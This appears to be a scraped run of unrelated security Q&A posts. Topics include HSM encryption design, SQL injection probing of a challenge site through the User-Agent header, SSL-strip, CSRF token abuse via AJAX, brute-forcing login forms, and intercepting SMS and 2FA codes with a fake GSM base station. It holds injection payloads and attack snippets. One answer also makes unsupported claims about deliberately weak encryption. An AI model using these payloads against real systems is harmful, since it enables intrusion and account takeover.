Is there a difference between getting encryption key versus encrypted data from server in terms of security Suppose we have web and application servers and trying to encrypt credit card information for our financial web application. Communication between web and app servers are secured through SSL/TLS. Lets say encrypted data is needed in the web server which will be sent to the application server to be secured. Is there a difference between these two approaches:

Getting the encryption key from application server (which obtains the key from HSM) and encrypting data in the web server.
Sending non-encrypted data to the application server which encrypts data using the key obtained from HSM and returns it back to the web server.

Details about the environment

We are trying to achieve PCI-DSS certificate for our virtual POS application. Web server is open to internet outside communication is also secure (SSL). Application server contains the business logic and only accessed by the web server. You can assume that all other security criterias for PCI-DSS is ensured.

There is a reason for encrypting the data where its stored - that being the storage may be compromised (directly or from a backup copy). If we agree that maintaining the data in an encrypted form is a good idea, then access to the decryption key must be restricted.

You didn't specify if the encryption was symmetric or asymmetric. In the case of the former, the decryption key is the encryption key.

Taking the case of the asymmetric key, there is a risk that someone with access to the data, could use your infrastructure as means for finding collisions and hence brute forcing the data - but this would be very small.

Similarly, doing the encryption on the client means that you are exposing the algorithm - leaving aside the arguments about Kerchoff's principle vs. security by obscurity, this extends the attack surface at the client. Again the risk is very small.

If the (server-side) application has no visibility of the unencrypted data nor the decryption key, then compromise of the application does not compromise the data - but its hard to imagine why you would be capturing and storing data you can't do anything useful with.


Using user agent & inputs for SQL injection with ModSecurity WAF I'm trying to test a challenge website using ModSecurity as a WAF. When I put ' in the user agent I got an error from MySQL.

  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1

Now I'm trying to exploit it with this header:

User-Agent: brick') order by 15 --+

The result is:

  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1

i found another input that is vulnerable to sql injection too i think maybe it's easier to be exploited ...

' order by 15 --+

i tried to inject like this example and it works the result

Unknown column '15' in 'order clause' etc..

but when i tried order by 2

i got this result :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 2 --  ', '', '', '', '5', 'Lbs', '', 'Mozilla/5.0')' at line 1

Any ideas on how to exploit ?

The error you get is from MySQL, not from modsecurity. It informs you that the SQL statement the server has constructed is invalid.

For example, maybe the SQL query is contructed like this:

UPDATE clients SET useragent='$useragent'

With your example, this would become

UPDATE clients SET useragent='brick') order by 15 --+'

This is clearly invalid, because of the parenthesis.

To exploit this, you either need to know the exact query or you need to guess the query and try some different values.


Is it possible to see the history of SSL handshakes going out of OWASP ZAP proxy? Let's say I perform some request through OWASP ZAP local proxy, and it fails SSL handshake for some reason.

Is there any way to see what SSL certificates zaproxy offered during the handshake, at which url etc?

The TLSDebug add-on might help you.

https://www.zaproxy.org/docs/desktop/addons/tls-debug/

Get it via the marketplace:

If you're running ZAP on a system where you can do packet capture then you can see the TLS (or SSL if you're still using it .... in 2020 you shouldn't.), behavior and details on both sides of the proxy. You can inspect such interactions with a tool like Wireshark - https://www.wireshark.org/.

Also in most modern browsers you can inspect the TLS/SSL details between the client and proxy (or server when not using a proxy) with fairly simple built-in functionality. Just do a quick web search for your preferred browser and 'TLS connection details' or 'certificate details', etc


Finding web application on webserver having only IP I am trying to find all web application running on web server. The only information I have is IP address of web server, for example 192.168.1.100.

My approach was to check the existence of web applications on non-standard ports using nmap.

Nmap identified Apache httpd server on ports 80/tcp, 81/tcp and 443/tcp.

But when I visit http://192.168.1.100:80 with browser it opens "Apache 2 Test Page", the same for others ports. Is there any way to find address of web applications other than by guessing?
It is address in internal network, not accessible form Internet so I can't check the address using Google.

One approach to this problem which could work, depending on how they've configured SSL, would be to check the SSL certificate returned when you connect to port 443/TCP.

The certificate may contain hostnames which are valid for the server, allowing you to locate websites running on it.  This can either be in the CN field, or in the SAN (Subject Alternative Name) field.

This may not work, if they're using a wildcard certificate or if they're just doing a self-signed certificate with the IP address, but worth checking anyway.


Why do browsers leak their version info to the webserver? The question surmises it all. If my firefox browser puts something like "..Gecko/xxyy Firefox/nn.mm.." in the USER_AGENT attribute, then from security point-of-view, isn't it an open invitation to the webserver: come and exploit all vulnerabilities in my xx.yy version ?

Many online users are know not to upgrade their browsers for a long time (especially those using stable distributions like debian or centos). Here, they are openly exposed to any known vulnerability being exploited in their outdated browsers.

Some years back, you could have argued that the web-server might output a compatible content based on the browser type (IE/Firefox/Safari/etc..), but with the standardization of HTML,CSS,etc. I don't thing this argument holds now in 2013. If anything, this adds one more hole in a plethora of complexities that already need to be dealt with in network security. Don't you think so?

It also is an open invitation to use the appropriate version of scripts that are supported by the browser.  Unfortunately, to have a usable web, the server needs to know what kind of browser it is dealing with and make adjustments based on this information.  Yes, it does make it easier to target an attack, but someone could also just put a bunch of attacks on the page and hope one of them works.  It's a fairly limited risk with a whole lot of benefit.  The most paranoid browsers disable or fake it, but it comes at a cost of reduced functionality on sites that are visited.


Extracting the PGP keyid from the public key file Is there a way via an CLI tool or some kind of API to extract the PGP key ID from the PGP public key block?

I found the hexa value of the key in the binary file, but I guess the position is based on the key kind/size.

Basically, I have the base64 formatted public key and I would like to retrieve the key ID from it, without importing it with GnuPG.

You can use gpg --dry-run to prevent changes.

Following line will print the key id in its output (can be modified using the usual modifiers like --with-colons for further processing). A4FF2279 is the key ID in here.

$ gpg --dry-run --import pubkey.asc
gpg: key A4FF2279: public key "[User ID not found]" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg: no ultimately trusted keys found

Just tried it, the key did not get stored to my keychain, but the key ID was printed. But watch out with --dry-run, the man page has a warning:

   --dry-run
         Don't make any changes (this is not completely implemented).

A more in-depth discussion of multiple variants for human-readable, machine-readable and very technical output for different versions of GnuPG is found in the Stack Overflow question How to display gpg key details without importing it?. All of them will also present the key ID.


What threats can come from an outdated Certificate in a private LAN In our company, we use a LAN "about 1,000 users", served with internal servers including email, DNS, and many web servers.
Whenever I access any of the network sites, I receive a message about an outdated certificate. When I spoke with their network admin, he said it's OK to add an exception to my browser and go on.

I'm aware of a potential MITM attacks, but as a normal user, what should I do to secure my privacy, specially that many of those sites are for financial business.

thanks.

A X.509 certificate has several uses in the context of web browsing, among others the ability:

for the client (user) to check with a "trusted" entity that they indeed release that certificate to the server claiming so. This check is quite subjective (and somehow less for Extended Validation Certificates) but there is nothing better as of now.
for the server to check the connecting client. This is rarely used for "human" browsing but is common (or at least more used) for server to server communication

You can use either of them, or none - but what will always be in place  is a secure, encrypted tunnel between your browser and the target server.

This means that if you know somehow that the server you are targeting is the right one you could discard alerts from the browser. They just inform you that what you connect to is not what is claimed to be by the certificate, or that this information has not been checked by an third party (you both trust). The technical security of the connection (encryption) is not affected.

The expiration of a certificate (or incorrectness of other information it holds) invalidates its "trustfulness" but not the encryption part. Your connection is still secure. If the certificate itself was insecure (tempered with for instance) then you could not set up a connection at all.


Is SSL-strip still viable as a method of attack? Seeing as SSL-strip works by intercepting redirects and links to HTTPS, is this still a viable MITM attack now that most (all?) up to date browser go for HTTPS by default? Is there an alternative more suitable to a present day scenario?

Your base assumption, that all browsers use HTTPS by default, is incorrect.

If you click a link, it uses the protocol specified in the link. The internet is full of HTTP links.

If you enter a URL in the address bar, the browser makes a plain HTTP request first. Trying HTTPS first would not help, since a MITM could just not respond to that request, forcing the browser to try plain HTTP instead.

So yes, SSL-strip is still a very real threat that can not be solved by browsers alone. To fix it, you need HSTS.


How does CSRF correlate with Same Origin Policy I'm trying to understand what roles do CSRF and same origin play in the grand scheme of things. With CSRF, I'm able to pretty much do anything on other websites on clients by making requests.Same Origin Policy (SOP) preserves the data of other domains and therefore nulls out the use of CSRF.

Now considering the Same Origin Policy only applies to XMLHTTPRequest, so with a cleverly crafted form, I can do a POST request witch voids the SOP and hence the need for CSRF tokens.

Now with all of this, does the CSRF kind of work around the SOP or works through it?I'm finding it hard to answer, but maybe that's because the question itself is confusing.

Let us start by defining the term "origin". The origin of a page is decided by three unique factors: hostname, protocol and port number. For example, http://test.com and https://test.com have different origins as the protocol is different. Similarly http://one.test.com and http://two.test.com have different origins as the hostnames are different. The origin property is also different for two services running on the same host with different port numbers e.g. http://test.com:8081 and http://test.com:8082 are considered to be different origins.

Same Origin Policy (SOP) is a browser-level security control which dictates how a document or script served by one origin can interact with a resource from some other origin. Basically, it prevents scripts running under one origin to read data from another origin.

Cross-domain requests and form submissions are still permitted but reading data from another origin is not permitted. This means that if you are performing a CSRF attack on a vulnerable site which results in some server side state change (e.g. user creation, document deletion etc), the attack will be successful but you would not be able to read the response.

In short SOP only prevents reading data which was served from a different origin. It does not cover cross-domain form submissions which are used to carry out a CSRF attack.

As far as performing cross-domain communication using AJAX is concerned, there are a few other security controls which dictate the communication. Refer to Cross Origin Resource Sharing. CORS allows different origins to communicate and share data in a controlled way and a CORS misconfiguration may also result in security vulnerabilities.

Note that SOP does not prevent resources hosted on different domains to be embedded in a page by using script tags, CSS and image tags. While this might not allow a direct reading of the contents, side effects of the loading and rendering can be used to determine (parts of) the content. Note also that Websockets are not covered by SOP at all and thus cross-site reading is possible.

P.S. Taken from my blog.


How does Whatsapp store encryption keys on the phone? It looks like Whatsapp stores encryption keys on the phone side, but I wonder if there are any details on how they do it? Do they use Android Keystore / Secure Enclave? Or something else?

The main concern is whether those storages are safe in case of rooted device.

The encryption key is stored in the keychain. Most keychain items can be easily accessed with various phone breaker software.

Any device made by a large company cannot be guaranteed to be secure,unless you make your own hardware and software and communicate via encrypted protocols. Only then you can guarantee that your systems are safe. Even new encryption is intentionally designed not to be 100% secure.

The access to Whatsapp keys does enable access even to deleted messages. There are two ways for a user to delete WhatsApp messages. The messages can be deleted one by one or cleared all at once by using the clear/delete chats button. Messages deleted in either of the ways mentioned above can be recovered because deleted messages are stored in msgstore.db-wal, which is the cache file for message storage. You just have to access the cache before accessing the main DB to prevent any possible over-writes of it.

Therefore, Smart Phone Forensic Systems and Phone breakers support fully the recovery of keys and any data that was encrypted with them, including deleted data.


Insecure File Upload on WebApps I found a website where I can upload any file I want. Now what are the biggest threats for them if they didn't install PHP (so a php shell can be uploaded, but it won't execute)? I found no sign of ASP either.

You only give a limited amount of information about the system, so I can only give a broad answer. A good source for orientation is the current ASVS (Version 4.0.1). In chapter "V12: File and Resources Verification Requirements" we can find requirements for file uploads that point us in the right direction. I've selected some of those requirements and added an explanation to apply it to your scenario:

12.1.1 Verify that the application will not accept large files that could fill up storage or cause a denial of service attack.
12.1.2 Verify that compressed files are checked for "zip bombs" - small input files that will decompress into huge files thus
exhausting file storage limits.
12.1.3 Verify that a file size quota and maximum number of files per user is enforced to ensure that a single user cannot fill up the storage with too many files, or excessively large files.

These requirements are mainly about denial of service attacks by flooding the application with files until it runs out of storage capacity. If the target system doesn't protect against such attacks, this might be an important risk to address.

12.2.1 Verify that files obtained from untrusted sources are validated to be of expected type based on the file's content.

There are many reasons for that, but in general, you have to check if the file is used in a way, where a wrong file type can cause damage to the system. Without knowing the details of the application, I can only guess if that's the case.

12.3.1 Verify that user-submitted filename metadata is not used directly with system or
framework file and URL API to protect against path traversal.
12.3.2 Verify that user-submitted filename metadata is validated or ignored to prevent
the disclosure, creation, updating or removal of local files (LFI).
12.3.3 Verify that user-submitted filename metadata is validated or ignored to prevent
the disclosure or execution of remote files (RFI), which may also lead to SSRF.
12.3.4 Verify that the application protects against reflective file download (RFD) by validating or ignoring user-submitted filenames in a JSON, JSONP, or URL parameter, the response Content-Type header should be set to text/plain, and the Content-Disposition header should have a fixed filename.
12.3.5 Verify that untrusted file metadata is not used directly with system API or
libraries, to protect against OS command injection.

Path traversal means breaking out of the current location and write to other locations. This might enable an attack to write over an existing file or place executable code where it either gets executed by the system or can be executed by the attacker. If that's possible, that can be a severe risk. The other points are going in a similar direction. The basic idea is, if an attacker can manipulate the meta-data in a malicious way, different attacks are possible. Command execution would be one of the most severe risks. If any of those apply to the actual system, must be verified.

12.4.1 Verify that files obtained from untrusted sources are stored outside the web
root, with limited permissions, preferably with strong validation.
12.4.2 Verify that files obtained from untrusted sources are scanned by antivirus
scanners to prevent upload of known malicious content.
12.5.2 Verify that direct requests to uploaded files will never be executed as
HTML/JavaScript content.

Storing the files in the web root may allow an attacker to execute the file directly or simply use the application to serve malicious content to others (e.g. to do drive-by infections, perform XSS against to domain). A malware scanner is able to identify such malicious files, if the pattern is known to be dangerous. If those safety nets are not present in the applications, the attacks described can be a risk.

Those is a broad field of potential attacks. Which of them actually apply to the application you are testing, must be verified. If you have the chance to do the audit white box, you should be able to verify all of those potential risks based on the source code and the server config. If you have to do it black box, some of them might be tricky to verify.


With a very large number of GUIDs, can one predict the previous and subsequent GUIDs that will be generated? I've been reading up on GUIDs. According to the Wiki:

  Cryptanalysis of the WinAPI GUID generator shows that, since the sequence of V4 GUIDs is pseudo-random, given full knowledge of the internal state, it is possible to predict previous and subsequent values.

Now imagining a server (of which we know little about the internal state) that we can query for millions of GUIDs; would it be possible to use the generated GUIDs to guess the relevant parts of the internal state of the machine, and from there predict subsequent GUIDs?

While my quote mentions WinAPI (hence Windows), I am interested in any widely used implementation.

It would depend on the implementation of the GUID/UUID library. Determining the internal state of a pseudo-random number generator varies widely based on which one you're talking about.

Many GUID/UUID libraries utilize a proper cryptographically strong pseudo-random number generator (CSPRNG) when generating v4 UUIDs. In those specific cases, when implemented correctly, I would argue that you would not be able to infer anything about the internal state.


How SSH Deep Inspection works? I just saw an option in Fortinet NGFW regarding, SSH Deep Inspection. So my question is how Deep inspection or whatever can inspect or find any malicious activity on encrypted packets?

I'm not familiar exactly with what Fortinet offers and how they've implemented it. But in general SSH deep inspection is similar to SSL deep inspection: it does a man in the middle "attack"  where the endpoint trusts the certificate or key provided by the inspection appliance. Same as in SSL inspection the original server key can not be used with the client (since the matching private key is only known to the server) but a fixed or dynamically generated key will be used instead. With SSL it is usually enough to add trust for the proxy CA to all clients in order to accept all generated certificates. But since SSH is commonly used without certificates and without PKI one needs to trust each server key directly. This is true SSH with and without SSH inspection, but with SSH inspection you cannot any longer use the original servers fingerprint to check if you got the correct key.

As for what you can do with such deep inspection: Looking at Fortinet: SSL/SSH inspection it seems to be that they support allowing or blocking shell access, executing programs, using X11 and using port forwarding through SSH. Other firewalls can also restrict access to subsystems (i.e. block sftp) or provide a more granular policy for which commands can be executed over SSH and which not.


Securing Authentication Tokens Stored in the Server-Side Database I'm working on extending a web application with a RESTful HTTP-based API. We decided to require the client to supply an authentication token in each request (instead of using sessions or other multi-step authentication schemes like OAuth). E.g.:

POST /foo HTTP/1.1
Authorization: Bearer <authentication token>
...

The token is an opaque string of characters to the user. The token is only shown to the user once. A single user can generate multiple tokens and associate different permissions and a descriptive name with each one. Each request to the API is recorded in a user-visible log and each log entry is associated with the specific token which was used for the request.

In our current implementation, we store an entity with the following attributes in the database:

Random UUID (primary key, used to reference the token from log entries)
Authentication Token (indexed)
Associated User Account and Permissions
User-Supplied Description
Revoked (boolean)

We discussed different security implications of this approach. One threat, which I'd like to discuss here is:

What happens if an attacker temporarily gains read access to the database?

Clearly, storing the authentication tokens makes them vulnerable. After reading the database, an attacker can use any of the non-revoked tokens to access the API. We thought about securing the tokens stored in the database from such a threat.

What approaches (and possibly, applicable algorithms or protocols) can be used to protect the authentication tokens in such a scenario?

I was thinking about hashing the token and using the result of that to find the right entry in the database.

Your tokens are passwords, except you don't let users choose weak passwords. I think they should be hashed in the db. Because they have a lot of entropy (I recommend base64 of 15 bytes read from /dev/urandom), you can use a single round of SHA-256. If you don't think 120 bits of entropy is enough, use 30 bytes. Anyway GPU can't check all combinations.


Browser exploits based purely on HTML + CSS In 2011, Eli Fox-Epstein demonstrated a Rule 110 machine in HTML + CSS3.

This led some to say that the combination of HTML + CSS3 is Turing complete.

Regardless of whether HTML + CSS3 is technically Turing complete, do any known exploits (in the wild, or published as proof-of-concept) attack browsers (not plug-ins, add-ons, etc) purely using HTML + CSS?

If so, please summarise at least one such exploit.

Yes, in the past there have been lots of exploits that only relied on malicious HTML and CSS code.

You are right in that parsing a complex, turing-complete language is potentially more error-prone, giving an attacker more tools to craft an exploit.
Yet, there are many different ways in which the implementation of the used CSS parser or other modules involved in processing the code can be vulnerable.

As an example, take CVE-2010-2752 - Mozilla Firefox CSS font-face Remote Code Execution Vulnerability. This vulnerability could be triggered simply by creating a website with specially crafted CSS font-face rules and yet it had the potential to compromise the host.

The flawed code was located in Mozilla's CSS parser and had a trivial bug: When allocating memory to store the font-face references, a 16-bit integer was used for the index. However, when the actual values were filled in, a 32-bit integer was used instead. This inconsistency led to an integer overflow when a stylesheet supplied an exessive number of external font references. Consequently, an attacker could write to unexpected memory locations and turn the index overflow into an arbitrary code execution exploit.

Since most of the Mozilla core is written in C++, there is no built-in overflow protection and developers are in charge of dealing securely with the memory. A browser written in Python would likely face very different types of vulnerabilities (and also be painfully slow).


Security implications of a missing SCSV, but with only TLS 1.2 allowed Similar to this security stackexchange question, I was wondering if there's any downside, considering the services/servers security, if only TLS 1.2 allowed, but TLS Fallback Signaling Cipher Suite Value (SCSV) for Preventing Protocol Downgrade Attacks is not enabled.

Theoretically, I don't see any effect of the missing SCSV, as there's only TLS 1.2 available anyways, but I'm not 100% sure.

What effect does the absence of SCSV have, if only TLS 1.2 is allowed in the first place?

Since the SCSV is merely a method to prevent downgrading and your server does not support any other protocols to downgrade to, I do not see any downside to that.

Correct me if I am wrong, but the SCSV would be for nothing with TLS 1.2 allowed only anyways.


CMS Uses http and so sends password in plain text A well known CMS called Joomla allows users to register and the password appears hidden as you register with dots a normal experience online - at this point you think just you know it. But if the site is using http then in fact the password is POSTed using plaintext.

This shouldn't be allowed!

I can understand that passwords are stored as salted hashes in good systems so even if the passwords are discovered on the db you cant use them to login.

Is that pretty much it?

Before we talk about password reset - in this case a good system cannot remind you of your password as it is not recoverable! It can only reset it for you and again isn't this sent plaintext over the net ??? So why cant that get stolen..

The issue is when the real plain text passwords are known by anyone or any system other than the user then identity is lost.

You have to use https.  This is not a responsibility of the CMS application, but a responsibility of the person deploying the system, to purchase a signed SSL certificate from a known trusted certificate authority (note you can purchase for free from say http://www.startssl.com or included in the cost of your domain registration at say http://gandi.net ) and force all traffic to be only sent via HTTPS.

Even if the CMS application say hashed your password client-side (using say javascript), sent the hashed password over the network, and then checked the hash server-side, the hashed password (say hash=bcrypt('Correct Horse Battery Staple', salt)= '$2a$14$XUgYF0o3flsoGam2GHiw8OlQv9BBR/ihAwS/k83fZk.YjJ1hA/04.')
 would still be sent over in plaintext for anyone to eavesdrop.  These eavesdroppers would still be able to do a replay attack (e.g., modify the client-side javascript to instead of hash an entered password, to just send back the captured hashed password $2a$14$XUgYF0o3flsoGam2GHiw8OlQv9BBR/ihAwS/k83fZk.YjJ1hA/04.) that they intercepted.  Also, note that this effectively turns the client-side hashed password into the effective password; so ideally you would additionally further hash the received hash server side to compare against what is stored in the database.  Or they could just intercept the session cookies sent over the network and use those to mimic activity of a currently logged in user.

Or they could just do mess with routing to do a man in the middle attack, so you send the password over to their server.

Furthermore, if they required you to use SSL without having purchased a certificate, the users may be scared away due to the browser warnings of an untrusted certificate.

A more complicated scheme may convince you that there is more security than there actually is, even though it would be trivial for an attacker to circumvent.  All that is required is to set it up using HTTPS.


How I do get the correct the Tamper parameters from an internal web login I am doing pentesting for a web application, but I do not know if am using the Tamper Data add on on mozilla correctly.

Could anyone explain how to get the following parameters, and where do I need to look ?

When doing the login, I would need to get these things identified:

Postback page

Post Parameters

Failed attempt unique text

Regards.

I try to do the following.

From a web application

www.mysite.com/dologin.php

Then I get the pop-up window requesting the login credentials

I try two options

A) A succesfull login with the correct username and password

B) A failed login with a correct username but with a wrong password

Reagrds.

Based on your list, I suspect you are trying to follow this tutorial on using hydra to brute force http forms.   If so, go back and read the instructions again.  It says to use Tamper Data to capture the Post parameters.  Like Rook said, you are better off with Burp as it allows you to cut and paste the raw request.

To do that:

 Click Start Tamper
(then submit the form in your browser...)

Click Tamper

There they are.


Why doesn't a cookie persist across different machines? I am running Chrome with a specific --user-data-dir on removable storage that allows me to maintain a single browser session on different machines throughout the day (history, bookmarks, extensions, etc.)

However I notice that login-cookies for most major websites do not persist across machines. Using a SQLite browser and digging through Chrome's database I can see that Chrome has different cookies for each machine I use. I login on Machine A, then go to Machine B and have to log back in on Machine B. When I return to Machine A, my cookie is still valid and I don't have to re-enter credentials.

My question is: What is the extra factor that forces either the browser or the server to require a new cookie? Is it the IP address of the machine? MAC address or something like that?

What is the extra factor that forces either the browser or the server to require a new cookie? Is it the IP address of the machine? MAC address or something like that?

It is unknown what the extra factor is in the specific cases but it is not uncommon that the IP address or some kind of browser fingerprint is included in the cookie or attached to it on the server side do defend against session hijacking caused by stealing the cookie. MAC address is not included in such checks because there is no way to get such information from within the browser or from the server.

See also Binding the Session ID to Other User Properties in the Session Management Cheat Sheet from OWASP.


True?: "Nearly all encrypted passwords are stored with the last character in clear text"? [S]ome passwords are gleaned by hacking into computers where intruders
  can find stored passwords. Those are stored in encrypted form, but
  there's software that can attack the encryption. Nearly all encrypted
  passwords are stored with the last character in clear text, warns
  NASA, so the last character is a throwaway. [Emphasis added.]

See #5 in Tech News Daily: How to Write the Perfect Password - Jan. 27, 2010

Does anyone know whether / when this is true?  Have a reference suitable for an intelligent non-mathlete?

I usually assume "encrypted" actually means some salted iterated unidirectional hash but other forms of encryption are possible.

No, I don't think this is true. News coverage gets this wrong all of the time, probably because its not an easy topic for an outsider.

It all starts with the term encryption. If you are really encrypting a password, you are most probably doing something wrong. Passwords in the context we are talking about are used for authentication. There is absolutely no need to have them available in the clear. Currently the best practice is to iteratively hash a password with a user specific salt. This process is practically irreversible and I don't see any way why a single character would be more prone to be reversed than any other.

However, if you don't follow this approach and doing something nasty like storing passwords in the clear or only storing them encrypted, it might very well be that passwords can be accessed in the clear. I don't see a way why the last character is more vulnerable than others, though, so I would strongly argue that the statement mentioned in your question is simply not true and someone was talking about something he has not understanding of, or at least oversimplified matters in such a way that they are simply false.


If a malware/virus can insert from clipboard to a webbrowser form, than can it insert key presses too? Question: If a malware can insert from the clipboard a password to a webform in a webbrowser, than can it "in general" insert key presses too?

Related to password fields, that disabled the clipboard CTRL+C/V input via a password manager.

Yes, a virus can do nearly anything it likes, including capturing or simulating key presses and mouse movements.

However some technology tends to make it harder under some conditions. For instance on Windows the Ctrl+Alt+Del key sequence is handled in a very specific way, moreover some application take advantage of Windows' Secure Desktop feature to enter private information like passwords which is precisely designed to keep any other user's processes from interacting with this secure input.

However, since at the end any input is handled by some software, a malware advanced enough which managed to get the highest privilege on your machine (the SYSTEM account) will be in measure to bypass even these protection.


Is it possible to find CryptoKey from orginal password and hashed password? WebsitePanel is a windows hosting control panel that uses a CryptoKey to hash passwords into the databases.

We have lost WebsitePanel config file and lost CryptoKey. We have to reinstall WebsitePanel but for passwords we need old CryptoKey.

We have orginal and hashed passwords.

Is it possible to find CryptoKey from orginal and hashed password?

Hash functions are generally irreversible so if you expect that you can apply some "inverse hash" function on hashed passwords to gain the normal/original passwords, it is not possible.

If you want to obtain the key, possible solution is to apply a "brute force" attack (if you are not aware of brute force, it simply means applying all possible keys). You'll have to use some software for this because you can't manually try this. You need to know at least the size/length of the old CryptoKey so that you can try all possible combinations for that key size.

Another option is to analyze the available hashed passwords by applying the frequency analysis techniques or dictionary attacks. This may work if you have not added any salt to the key while taking hash.


Android x86 vs Android on Qemu ARM Situation: Emulating Android devices for pen-testing

Problem: Choosing between emulating Android x86 or emulating Android on Qemu runing on ARM

Question: In terms of vulnerabilities/exploitability, does Android x86 and Android on Qemu ARM share the same security flaws given that their CPU instruction sets are different?

Additional information: While I would love to plug in an external Android device, it is simply not possible in my situation

Answer: Low-level vulnerabilities, such as buffer overflows in the stagefright binary or underlying Linux kernel, will behave differently on every system that you run them on (ie: x86 Android, QEMU ARM, native ARM). Userland-level security vulnerabilities will be largely the same as they live at a high level of abstraction from the processor architecture.


Use of safe prime in RSA digital signature scheme For the RSA digital signature scheme , Alice has a pair of public and private keys as denoted by

Public key : (e,n)

Private key : (d,n)

Assuming Alice wants to send a message M to Bob , she would produce an encrypted message EM = Me mod n.

e would have to be chosen such that gcd( e,(p-1)(q-1) ) = 1. My lecturer states that to give it additional security , e should also be safe prime where e = 2q + 1 , q is also prime

Is it really necessary to use safe prime for e , is it alright to just use gcd( e,(p-1)(q-1) ) = 1, what would happen if we don't use a safe prime?
Why do safe prime provide additional security?
Can this be applied to RSA encryption scheme?

The need for a "safe prime" is a piece of old lore that is now obsolete, but is still taught, because of what can only be described as generalized apathy.

Historically, the "safe primes" are called "safe" because of Pollard's p-1 factorization algorithm.

The core idea of Pollard's algorithm is the following: when we compute things modulo n (n = pq for two big primes p and q), we are actually doing the computation modulo p and modulo q (that's the gist of the Chinese Remainder Theorem). So we will do computations modulo n and hope for things to go sour: we want to do things that yield a value of zero modulo p but not modulo q, because, when working modulo n (as we do), such a situation implies that we got some integer x that is not invertible modulo n; such an x is a multiple of p but not of q; thus, a simple GCD between n and x yields p, and n is factored.

In this case, Pollard says: let's suppose that p-1 is "smooth", meaning that it is a product of only small prime factors. For instance, suppose that the largest prime factor of p-1 is smaller than some bound B (we would then say that p-1 is "B-smooth"). Then, take a random value z modulo n and do this:

Replace z with z2k mod n, where k is the largest integer such that 2k < p.
Replace z with z3k mod n, where k is the largest integer such that 3k < p.
Replace z with z5k mod n, where k is the largest integer such that 5k < p.
... and so on, in due succession, for all primes up to B.

If p-1 is indeed B-smooth, then, at that point, z is necessarily equal to 1 modulo p (because all the exponentiations have collectively raised z to an exponent u that is a multiple of p-1). Thus, z-1 is a multiple of p. But if q is not B-smooth, then z-1 is not a multiple of q. Therefore, a GCD between z-1 and n yields p, and n is factored.

(Note that everything here is about factoring n, which is sufficient to break the RSA key generally, regardless of whether you use it for signing or for encrypting.)

To avoid falling into the situation where p-1 is B-smooth for a B small enough for the algorithm above to be practical, some people have said: let's generate our p such that p = 2r + 1 (for some prime r). Such a p is B-smooth only for B at least as large than r, i.e. almost as large as p; this is way too large for Pollard's p-1 algorithm to work in any non-ridiculous amount of time. We well thus deem such primes "safe". Neat, isn't it ? Not so fast.

"Safe" primes are not safe, or at least not safer than randomly generated primes. The first blow came in 1982, eight years after Pollard's publication, when Williams invented the p+1 factorization algorithm. It is a generalization of Pollard's algorithm, that works whenever p-1 or p+1 is B-smooth for a small enough B. This means that if you want your p to be "safe", then you must ensure that both p-1 and p+1 are the product of a large enough prime; you would need to generate p such that p = 2r + 1 and p = 2r' - 1 for two primes r and r'.

Then the notion of "safe prime" for factorization was killed in 1987 when Lenstra published the ECM factorization method. It can be viewed as a generalization of Pollard's p-1 algorithm. We work modulo n; we define a random elliptic curve of equation Y2 = X3 + aX + b for two random integers a and b modulo n. Then we take a random point G on that curve; and we multiply that point repeatedly, with 2k, 3k, 5k... and so on, up to bound B (each "k" being adjusted so that the multiple is not greater than p).

These point multiplications are really the analogous of the exponentiations in Pollard's algorithm. Our hope is that the curve order modulo p is B-smooth, i.e. that all these point multiplications will send our point to the "point at infinity" when considering it modulo p. There again, when we do elliptic curve computations modulo n, we are actually working over two curves at the same time, one modulo p and one modulo q. If we reach the "point at infinity" on the curve modulo p (but not modulo q), this will show up as non-invertible coordinates X and Y modulo n, and, again, a simple GCD then reveals the factorization.

The crucial point, for the discussion at hand, is that ECM will work if the curve order (for the curve "modulo p") is B-smooth. That curve order is "close" to p, but still fairly randomly distributed in a range of size 4·sqrt(p), which is quite large (if we are talking about 1024-bit primes, then the range has size at least 2512...). Therefore, a RSA modulus will resist ECM factorization only because a random 1024-bit integer in a large range has only negligible probability of being B-smooth for a small enough B.

Remember that the notion of generating a "safe prime" comes from the fear that a randomly generated prime p could turn out to be such that p-1 is B-smooth. Fortunately, the probability of such an occurrence with normal-sized primes (say, 1024 bits for RSA-2048) is abysmally small. But some people say that they want to "take no risk" and they insist on verifying that p-1 is not B-smooth. The ECM method shows that it is flawed thinking: regardless of how you select p, you are still relying on the very small probability of a random integer to be B-smooth.

Summary: there is no reason to single out p-1 as needing a big enough prime factor. For security, you need random integer generation to be "safe enough" (not B-smooth for too small a B); and if a random integer is fine, then it is fine. Insistence on using "safe primes" for RSA is just being stuck in the past; it made sense between 1974 and 1987, but no longer.

Notes:

Though "safe primes" are a useless notion for RSA, they still have some use in Diffie-Hellman, since they allow the use of a small integer as generator (typically 2), which has some (slight) performance benefits.
Regardless of all of the above, confronting your lecturer is socially and politically a poor move. If he (she) is a nice open-minded guy (or gal), you might want to send him (her) to me, i.e. point him (her) to that answer. But in student-teacher relationships, the best strategy for a student is to watch, learn, and bide his time.


Can an attacker make POST or PUT request if he knows CSRF token? I am testing a scenario to find whether an attacker can change the victims email to the attackers by tricking the victims browser to send a POST/PUT request. In this system, the attacker needs to get the CSRF token via a GET request and use it as a HTTP header for POST/PUT to work. I am creating a Java web app and launch it in victim's browser. I am able to get CSRF token, but still trying to find a way to use it as HTTP header to POST/PUT.

Is this the correct approach to do a PoC for CSRF attack?
Is it possible to attack using POST or PUT request?

Assuming the target website have a permissive cross origin resource sharing configuration or you found XSS on the target website (I guess it's how you got that token from), you could just make an AJAX request specifying your custom XSRF header.

$.ajax({
  type: "POST",
  beforeSend: function(request) {
    request.setRequestHeader("XSRF-Token", yourToken);
  }
 [...]


Catch incoming SMS/Calls in a fake GSM Network I am currently working on a Project where I am doing a downgrade attack from LTE to GSM. I am using OpenLTE and OpenBTS for creating the fake base stations.

When the phone connects to the fake GSM Network, SMS and calls are not encrypted because A5/0 is used. When i setup Asterisk to communicate via a VoIP provider, it is possible to send for example SMSs to other phones which are in a "real" network. Of course I can intercept those messages which means I can read outgoing messages from phones which are in my fake GSM network.

Now the question: Is it in any way possible to do the same for incoming messages (which have as destination my "real" phone number and not the number which is associated with my VoIP provider)?
So that I could for example intercept 2FA codes sent from Google or whatever.
